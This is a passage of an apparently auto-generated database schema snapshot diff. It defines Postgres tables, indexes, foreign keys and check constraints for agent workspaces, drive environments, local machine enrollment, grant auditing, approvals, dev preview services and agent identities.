"checkConstraints": { + "agent_workspace_nodes_root_no_parent_chk": { + "name": "agent_workspace_nodes_root_no_parent_chk", + "value": "(\"agent_workspace_nodes\".\"nodeType\" = 'root') = (\"agent_workspace_nodes\".\"parentId\" IS NULL)" + }, + "agent_workspace_nodes_node_type_chk": { + "name": "agent_workspace_nodes_node_type_chk", + "value": "\"agent_workspace_nodes\".\"nodeType\" IN ('root', 'split', 'pane')" + }, + "agent_workspace_nodes_target_kind_chk": { + "name": "agent_workspace_nodes_target_kind_chk", + "value": "\"agent_workspace_nodes\".\"targetKind\" IS NULL OR \"agent_workspace_nodes\".\"targetKind\" IN ('chat', 'terminal', 'page', 'ports')" + } + }, + "isRLSEnabled": false + }, + "public.drive_envs": { + "name": "drive_envs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "substrate": { + "name": "substrate", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'sprite'" + }, + "visibleToGlobalAssistant": { + "name": "visibleToGlobalAssistant", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "createdBy": { + "name": "createdBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "costOwnerId": { + "name": "costOwnerId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "isHome": { + "name": "isHome", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "spriteKey": { + "name": "spriteKey", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "sandboxId": { + "name": "sandboxId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "spriteInstanceId": { + "name": "spriteInstanceId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "egressPolicyToken": { + "name": "egressPolicyToken", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "teardownRequestedAt": { + "name": "teardownRequestedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "spriteTornDownAt": { + "name": "spriteTornDownAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "storageLastBilledAt": { + "name": "storageLastBilledAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "storageMeasuredBytes": { + "name": "storageMeasuredBytes", + "type": "bigint", + "primaryKey": false, + "notNull": false + }, + "storageMeasuredAt": { + "name": "storageMeasuredAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastActiveAt": { + "name": "lastActiveAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "drive_envs_drive_id_idx": { + "name": "drive_envs_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_envs_cost_owner_idx": { + "name": "drive_envs_cost_owner_idx", + "columns": [ + { + "expression": "costOwnerId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_envs_drive_name_idx": { + "name": "drive_envs_drive_name_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_envs_home_per_drive_idx": { + "name": "drive_envs_home_per_drive_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"drive_envs\".\"isHome\"", + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_envs_live_sprite_idx": { + "name": "drive_envs_live_sprite_idx", + "columns": [ + { + "expression": "sandboxId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "spriteTornDownAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"drive_envs\".\"sandboxId\" IS NOT NULL AND \"drive_envs\".\"spriteTornDownAt\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_envs_driveId_drives_id_fk": { + "name": "drive_envs_driveId_drives_id_fk", + "tableFrom": "drive_envs", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_envs_createdBy_users_id_fk": { + "name": "drive_envs_createdBy_users_id_fk", + "tableFrom": "drive_envs", + "tableTo": "users", + "columnsFrom": [ + "createdBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "drive_envs_costOwnerId_users_id_fk": { + "name": "drive_envs_costOwnerId_users_id_fk", + "tableFrom": "drive_envs", + "tableTo": "users", + "columnsFrom": [ + "costOwnerId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "drive_envs_id_substrate_unique": { + "name": "drive_envs_id_substrate_unique", + "nullsNotDistinct": false, + "columns": [ + "id", + "substrate" + ] + } + }, + "policies": {}, + "checkConstraints": { + "drive_envs_substrate_check": { + "name": "drive_envs_substrate_check", + "value": "\"drive_envs\".\"substrate\" IN ('sprite', 'local')" + }, + "drive_envs_local_no_sprite_check": { + "name": "drive_envs_local_no_sprite_check", + "value": "\"drive_envs\".\"substrate\" = 'sprite' OR (\"drive_envs\".\"spriteKey\" IS NULL AND \"drive_envs\".\"sandboxId\" IS NULL AND \"drive_envs\".\"spriteInstanceId\" IS NULL)" + } + }, + "isRLSEnabled": false + }, + "public.drive_env_local": { + "name": "drive_env_local", + "schema": "", + "columns": { + "envId": { + "name": "envId", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "substrate": { + "name": "substrate", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'local'" + }, + "ownerId": { + "name": "ownerId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "label": { + "name": "label", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "enrollmentId": { + "name": "enrollmentId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "machinePublicKey": { + "name": "machinePublicKey", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "machineKeyFingerprint": { + "name": "machineKeyFingerprint", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "serverKeyId": { + "name": "serverKeyId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "enrollmentCodeHash": { + "name": "enrollmentCodeHash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "enrollmentCodeExpiresAt": { + "name": "enrollmentCodeExpiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "enrollmentCodeUsedAt": { + "name": "enrollmentCodeUsedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "challengeNonce": { + "name": "challengeNonce", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "challengeIssuedAt": { + "name": "challengeIssuedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "challengeExpiresAt": { + "name": "challengeExpiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "challengeUsedAt": { + "name": "challengeUsedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "capabilities": { + "name": "capabilities", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "daemonEpoch": { + "name": "daemonEpoch", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ownerCredentials": { + "name": "ownerCredentials", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "serverPolicy": { + "name": "serverPolicy", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{\"ops\":[],\"checkpoint\":false}'::jsonb" + }, + "bindPolicy": { + "name": "bindPolicy", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'owner'" + }, + "lastSeenAt": { + "name": "lastSeenAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "enrolledAt": { + "name": "enrolledAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "revokedAt": { + "name": "revokedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "pausedAt": { + "name": "pausedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "pauseOwedAt": { + "name": "pauseOwedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "drive_env_local_owner_id_idx": { + "name": "drive_env_local_owner_id_idx", + "columns": [ + { + "expression": "ownerId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_env_local_ownerId_users_id_fk": { + "name": "drive_env_local_ownerId_users_id_fk", + "tableFrom": "drive_env_local", + "tableTo": "users", + "columnsFrom": [ + "ownerId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_env_local_envId_substrate_drive_envs_id_substrate_fk": { + "name": "drive_env_local_envId_substrate_drive_envs_id_substrate_fk", + "tableFrom": "drive_env_local", + "tableTo": "drive_envs", + "columnsFrom": [ + "envId", + "substrate" + ], + "columnsTo": [ + "id", + "substrate" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "drive_env_local_enrollment_id_unique": { + "name": "drive_env_local_enrollment_id_unique", + "nullsNotDistinct": false, + "columns": [ + "enrollmentId" + ] + } + }, + "policies": {}, + "checkConstraints": { + "drive_env_local_substrate_check": { + "name": "drive_env_local_substrate_check", + "value": "\"drive_env_local\".\"substrate\" = 'local'" + }, + "drive_env_local_enrolled_has_key_check": { + "name": "drive_env_local_enrolled_has_key_check", + "value": "\"drive_env_local\".\"enrolledAt\" IS NULL OR (\"drive_env_local\".\"machinePublicKey\" IS NOT NULL AND \"drive_env_local\".\"machineKeyFingerprint\" IS NOT NULL AND \"drive_env_local\".\"serverKeyId\" IS NOT NULL)" + }, + "drive_env_local_bind_policy_check": { + "name": "drive_env_local_bind_policy_check", + "value": "\"drive_env_local\".\"bindPolicy\" IN ('owner')" + } + }, + "isRLSEnabled": false + }, + "public.drive_env_grant_audit": { + "name": "drive_env_grant_audit", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "envId": { + "name": "envId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "grantId": { + "name": "grantId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "sessionId": { + "name": "sessionId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "conversationId": { + "name": "conversationId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "op": { + "name": "op", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "argsHash": { + "name": "argsHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "summary": { + "name": "summary", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "verdict": { + "name": "verdict", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "exitCode": { + "name": "exitCode", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "challengeId": { + "name": "challengeId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "approvalScope": { + "name": "approvalScope", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ts": { + "name": "ts", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "resultAt": { + "name": "resultAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drive_env_grant_audit_env_ts_idx": { + "name": "drive_env_grant_audit_env_ts_idx", + "columns": [ + { + "expression": "envId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "ts", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_env_grant_audit_user_ts_idx": { + "name": "drive_env_grant_audit_user_ts_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "ts", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_env_grant_audit_grant_id_unique": { + "name": "drive_env_grant_audit_grant_id_unique", + "columns": [ + { + "expression": "grantId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"drive_env_grant_audit\".\"grantId\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_env_grant_audit_envId_drive_envs_id_fk": { + "name": "drive_env_grant_audit_envId_drive_envs_id_fk", + "tableFrom": "drive_env_grant_audit", + "tableTo": "drive_envs", + "columnsFrom": [ + "envId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_env_grant_audit_userId_users_id_fk": { + "name": "drive_env_grant_audit_userId_users_id_fk", + "tableFrom": "drive_env_grant_audit", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "drive_env_grant_audit_op_check": { + "name": "drive_env_grant_audit_op_check", + "value": "\"drive_env_grant_audit\".\"op\" IN ('exec', 'fs_read', 'fs_write', 'pty_open')" + }, + "drive_env_grant_audit_grant_id_refused_check": { + "name": "drive_env_grant_audit_grant_id_refused_check", + "value": "(\"drive_env_grant_audit\".\"grantId\" IS NULL) = (\"drive_env_grant_audit\".\"verdict\" LIKE 'refused:%')" + } + }, + "isRLSEnabled": false + }, + "public.drive_env_approvals": { + "name": "drive_env_approvals", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "envId": { + "name": "envId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "op": { + "name": "op", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "summary": { + "name": "summary", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scope": { + "name": "scope", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "daemonEpoch": { + "name": "daemonEpoch", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "revokedAt": { + "name": "revokedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "revokedBy": { + "name": "revokedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "revokeAcknowledgedAt": { + "name": "revokeAcknowledgedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "revokeRemoved": { + "name": "revokeRemoved", + "type": "integer", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drive_env_approvals_env_idx": { + "name": "drive_env_approvals_env_idx", + "columns": [ + { + "expression": "envId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_env_approvals_user_idx": { + "name": "drive_env_approvals_user_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_env_approvals_envId_drive_envs_id_fk": { + "name": "drive_env_approvals_envId_drive_envs_id_fk", + "tableFrom": "drive_env_approvals", + "tableTo": "drive_envs", + "columnsFrom": [ + "envId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_env_approvals_userId_users_id_fk": { + "name": "drive_env_approvals_userId_users_id_fk", + "tableFrom": "drive_env_approvals", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "drive_env_approvals_scope_check": { + "name": "drive_env_approvals_scope_check", + "value": "\"drive_env_approvals\".\"scope\" IN ('session', '30d', 'until_revoked')" + }, + "drive_env_approvals_ack_needs_revoke_check": { + "name": "drive_env_approvals_ack_needs_revoke_check", + "value": "\"drive_env_approvals\".\"revokeAcknowledgedAt\" IS NULL OR \"drive_env_approvals\".\"revokedAt\" IS NOT NULL" + } + }, + "isRLSEnabled": false + }, + "public.dev_preview_services": { + "name": "dev_preview_services", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workspaceId": { + "name": "workspaceId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "envId": { + "name": "envId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "spriteInstanceId": { + "name": "spriteInstanceId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "sandboxId": { + "name": "sandboxId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "targetPort": { + "name": "targetPort", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "relayServiceName": { + "name": "relayServiceName", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "detectedAt": { + "name": "detectedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "stoppedByUserAt": { + "name": "stoppedByUserAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "approvedPort": { + "name": "approvedPort", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "approvedAt": { + "name": "approvedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "approvedByUserId": { + "name": "approvedByUserId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "selectedByUserAt": { + "name": "selectedByUserAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "dev_preview_services_sprite_instance_idx": { + "name": "dev_preview_services_sprite_instance_idx", + "columns": [ + { + "expression": "spriteInstanceId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "dev_preview_services_workspace_id_idx": { + "name": "dev_preview_services_workspace_id_idx", + "columns": [ + { + "expression": "workspaceId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"dev_preview_services\".\"workspaceId\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "dev_preview_services_env_id_idx": { + "name": "dev_preview_services_env_id_idx", + "columns": [ + { + "expression": "envId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"dev_preview_services\".\"envId\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "dev_preview_services_workspaceId_agent_workspaces_id_fk": { + "name": "dev_preview_services_workspaceId_agent_workspaces_id_fk", + "tableFrom": "dev_preview_services", + "tableTo": "agent_workspaces", + "columnsFrom": [ + "workspaceId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "dev_preview_services_envId_drive_envs_id_fk": { + "name": "dev_preview_services_envId_drive_envs_id_fk", + "tableFrom": "dev_preview_services", + "tableTo": "drive_envs", + "columnsFrom": [ + "envId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "dev_preview_services_approvedByUserId_users_id_fk": { + "name": "dev_preview_services_approvedByUserId_users_id_fk", + "tableFrom": "dev_preview_services", + "tableTo": "users", + "columnsFrom": [ + "approvedByUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "dev_preview_services_one_holder_check": { + "name": "dev_preview_services_one_holder_check", + "value": "(\"dev_preview_services\".\"workspaceId\" IS NULL) <> (\"dev_preview_services\".\"envId\" IS NULL)" + }, + "dev_preview_services_target_port_range_check": { + "name": "dev_preview_services_target_port_range_check", + "value": "\"dev_preview_services\".\"targetPort\" BETWEEN 1 AND 65535" + }, + "dev_preview_services_relay_never_8080_check": { + "name": "dev_preview_services_relay_never_8080_check", + "value": "\"dev_preview_services\".\"relayServiceName\" IS NULL OR \"dev_preview_services\".\"targetPort\" <> 8080" + }, + "dev_preview_services_approved_port_range_check": { + "name": "dev_preview_services_approved_port_range_check", + "value": "\"dev_preview_services\".\"approvedPort\" IS NULL OR \"dev_preview_services\".\"approvedPort\" BETWEEN 1 AND 65535" + }, + "dev_preview_services_approved_paired_check": { + "name": "dev_preview_services_approved_paired_check", + "value": "(\"dev_preview_services\".\"approvedPort\" IS NULL) = (\"dev_preview_services\".\"approvedAt\" IS NULL)" + } + }, + "isRLSEnabled": false + }, + "public.dev_preview_grants": { + "name": "dev_preview_grants", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "holderKind": { + "name": "holderKind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "holderId": { + "name": "holderId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "sessionId": { + "name": "sessionId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "cookieExpiresAt": { + "name": "cookieExpiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "consumedAt": { + "name": "consumedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "dev_preview_grants_expires_at_idx": { + "name": "dev_preview_grants_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "dev_preview_grants_userId_users_id_fk": { + "name": "dev_preview_grants_userId_users_id_fk", + "tableFrom": "dev_preview_grants", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "dev_preview_grants_sessionId_sessions_id_fk": { + "name": "dev_preview_grants_sessionId_sessions_id_fk", + "tableFrom": "dev_preview_grants", + "tableTo": "sessions", + "columnsFrom": [ + "sessionId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "dev_preview_grants_holder_kind_check": { + "name": "dev_preview_grants_holder_kind_check", + "value": "\"dev_preview_grants\".\"holderKind\" IN ('workspace', 'env')" + } + }, + "isRLSEnabled": false + }, + "public.agent_account_grant_nonces": { + "name": "agent_account_grant_nonces", + "schema": "", + "columns": { + "nonce": { + "name": "nonce", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "grantId": { + "name": "grantId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "consumedAt": { + "name": "consumedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "agent_account_grant_nonces_expires_at_idx": { + "name": "agent_account_grant_nonces_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.agent_claims": { + "name": "agent_claims", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "agentUserId": { + "name": "agentUserId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "ownerUserId": { + "name": "ownerUserId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "userCodeHash": { + "name": "userCodeHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "approvedAt": { + "name": "approvedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "deniedAt": { + "name": "deniedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "redeemedAt": { + "name": "redeemedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastPolledAt": { + "name": "lastPolledAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "pollIntervalSeconds": { + "name": "pollIntervalSeconds", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 5 + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "agent_claims_agent_user_id_idx": { + "name": "agent_claims_agent_user_id_idx", + "columns": [ + { + "expression": "agentUserId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "agent_claims_owner_user_id_idx": { + "name": "agent_claims_owner_user_id_idx", + "columns": [ + { + "expression": "ownerUserId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "agent_claims_expires_at_idx": { + "name": "agent_claims_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "agent_claims_agentUserId_users_id_fk": { + "name": "agent_claims_agentUserId_users_id_fk", + "tableFrom": "agent_claims", + "tableTo": "users", + "columnsFrom": [ + "agentUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_claims_ownerUserId_users_id_fk": { + "name": "agent_claims_ownerUserId_users_id_fk", + "tableFrom": "agent_claims", + "tableTo": "users", + "columnsFrom": [ + "ownerUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "agent_claims_userCodeHash_unique": { + "name": "agent_claims_userCodeHash_unique", + "nullsNotDistinct": false, + "columns": [ + "userCodeHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.agent_identities": { + "name": "agent_identities", + "schema": "", + "columns": { + "userId": { + "name": "userId", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "secretHash": { + "name": "secretHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "secretPrefix": { + "name": "secretPrefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "secretVersion": { + "name": "secretVersion", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "source": { + "name": "source", + "type": "varchar(120)", + "primaryKey": false, + "notNull": false + }, + "ownerUserId": { + "name": "ownerUserId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "claimedAt": { + "name": "claimedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdByIp": { + "name": "createdByIp", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "lastAuthAt": { + "name": "lastAuthAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "revokedAt": { + "name": "revokedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "agent_identities_owner_user_id_idx": { + "name": "agent_identities_owner_user_id_idx", + "columns": [ + { + "expression": "ownerUserId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "agent_identities_created_at_idx": { + "name": "agent_identities_created_at_idx", + "columns": [ + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "agent_identities_userId_users_id_fk": { + "name": "agent_identities_userId_users_id_fk", + "tableFrom": "agent_identities", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + 